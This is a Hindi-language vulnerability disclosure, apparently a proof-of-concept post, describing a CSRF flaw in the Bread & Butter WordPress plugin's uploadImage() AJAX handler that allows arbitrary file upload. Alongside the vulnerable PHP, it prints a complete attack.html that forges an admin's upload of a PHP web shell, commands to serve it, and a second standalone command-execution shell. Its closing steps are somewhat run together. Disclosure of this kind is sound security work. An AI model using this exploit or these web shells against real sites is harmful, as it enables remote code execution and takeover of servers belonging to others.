
Bread & Butter: सामग्री को गेट करें + लीड कैप्चर करें + फर्स्ट-पार्टी डेटा एकत्र करें + Ai एजेंट्स के साथ नर्चर करें <= 7.10.1321 - क्रॉस-साइट रिक्वेस्ट फोर्जरी से आर्बिट्रेरी फ़ाइल अपलोड तक
Bread & Butter IO प्लगइन में उसकी इमेज अपलोड कार्यक्षमता में एक कमज़ोरी मौजूद है जो किसी भी हमलावर को प्रमाणित व्यवस्थापकों को धोखा देकर सर्वर पर मनमानी फ़ाइलें अपलोड करने की अनुमति देती है, जिसमें PHP वेब शेल भी शामिल हैं, जिससे रिमोट कोड एक्ज़ीक्यूशन (RCE) हो सकता है। यह कमज़ोरी uploadImage() फ़ंक्शन में CSRF सुरक्षा की कमी के कारण उत्पन्न होती है, जिससे हमलावर दुर्भावनापूर्ण अनुरोध तैयार कर सकते हैं जिन्हें व्यवस्थापकों के ब्राउज़र स्वचालित रूप से निष्पादित कर देते हैं।
यह कमज़ोरी /bread-butter/src/Base/Ajax.php में uploadImage() फ़ंक्शन में मौजूद है, जिसमें उचित फ़ाइल सत्यापन और CSRF सुरक्षा का अभाव है, और यह किसी भी सुरक्षा जाँच से पहले file_put_contents() का उपयोग करके फ़ाइलों को सीधे WordPress अपलोड निर्देशिका में लिखता है।
यह रहा सरल attack.html:
<!DOCTYPE html>
<html>
<body>
<button onclick="exploit()">CSRF Attack</button>
<script>
function exploit() {
const form = document.createElement('form');
form.action = 'http://TARGETSITE.COM/wp-admin/admin-ajax.php';
form.method = 'POST';
form.enctype = 'multipart/form-data';
form.target = '_blank';
form.style.display = 'none';
// Action field
const action = document.createElement('input');
action.name = 'action';
action.value = 'upload_image';
form.appendChild(action);
// File field
const file = document.createElement('input');
file.type = 'file';
file.name = 'file';
const blob = new Blob([`<?php system($_GET['cmd']); ?>`], { type: 'image/jpeg' });
const phpFile = new File([blob], 'test.php', { type: 'image/jpeg' });
const dt = new DataTransfer();
dt.items.add(phpFile);
file.files = dt.files;
form.appendChild(file);
document.body.appendChild(form);
form.submit();
}
</script>
</body>
</html>
POC के लिए आप इसे स्थानीय रूप से कुछ इस तरह चला सकते हैं:
# Serve the CSRF exploit
python3 -m http.server 1337
# Visit: http://localhost:1337/attack.html
# Click "CSRF Attack" button
# Check new tab for WordPress response
# Test uploaded shell: https://TARGETSITE.COM/wp-content/uploads/[year]/[month]/test.php?cmd=whoami
पीड़ित के ब्राउज़र पर व्यवस्थापक के रूप में लॉग इन होने पर, लिंक पर क्लिक करने से RCE हो जाता है।
कमज़ोरी /bread-butter/src/Base/Ajax.php की पंक्ति 411 पर uploadImage() फ़ंक्शन में मौजूद है:
public function uploadImage() {
$this->checkAdmin();
$file = $_FILES['file'];
$type = $file['type'];
$name = $file['name'];
$image_url = $file['tmp_name'];
$upload_dir = wp_upload_dir();
$image_data = file_get_contents($image_url);
$filename = basename($name);
if (wp_mkdir_p($upload_dir['path'])) {
$file = $upload_dir['path'] . '/' . $filename;
} else {
$file = $upload_dir['basedir'] . '/' . $filename;
}
file_put_contents($file, $image_data); // Attacker get's file moved to acessable storage!
// Post-upload processing (after vulnerability is exploited)
$wp_filetype = wp_check_filetype($filename, null);
// ... rest of function
}
कमज़ोर फ़ंक्शन को पंक्ति 95 पर WordPress AJAX हैंडलर के रूप में पंजीकृत किया गया है:
add_action('wp_ajax_' . self::$uploadImage, array($this, 'uploadImage'));
जहाँ self::$uploadImage को पंक्ति 37 पर upload_image के रूप में परिभाषित किया गया है।
एकमात्र सुरक्षा नियंत्रण पंक्तियों 166-171 पर मौजूद checkAdmin() विधि है:
public function checkAdmin() {
if (!current_user_can('manage_options')) {
echo 0;
wp_die();
}
}
CSRF सुरक्षा की कमी इस कमज़ोरी को क्रॉस-साइट रिक्वेस्ट फोर्जरी हमलों के माध्यम से शोषणीय बनाती है। attack.html POC इसे निम्न प्रकार से प्रदर्शित करता है:
target="_blank" का उपयोग करना ताकि CORS प्रतिबंधों को बायपास किया जा सकेattack.html देखें)/wp-content/uploads/[year]/[month]/test.php?cmd=whoami पर एक्सेस करें/wp-admin/admin-ajax.php पर सीधा AJAX अनुरोध भेजें<?php
if(isset($_GET['cmd'])) {
system($_GET['cmd']);
} else {
echo "Shell ready. Use ?cmd=command";
}
?>
/wp-content/uploads/[year]/[month]/[filename].php पर एक्सेस करें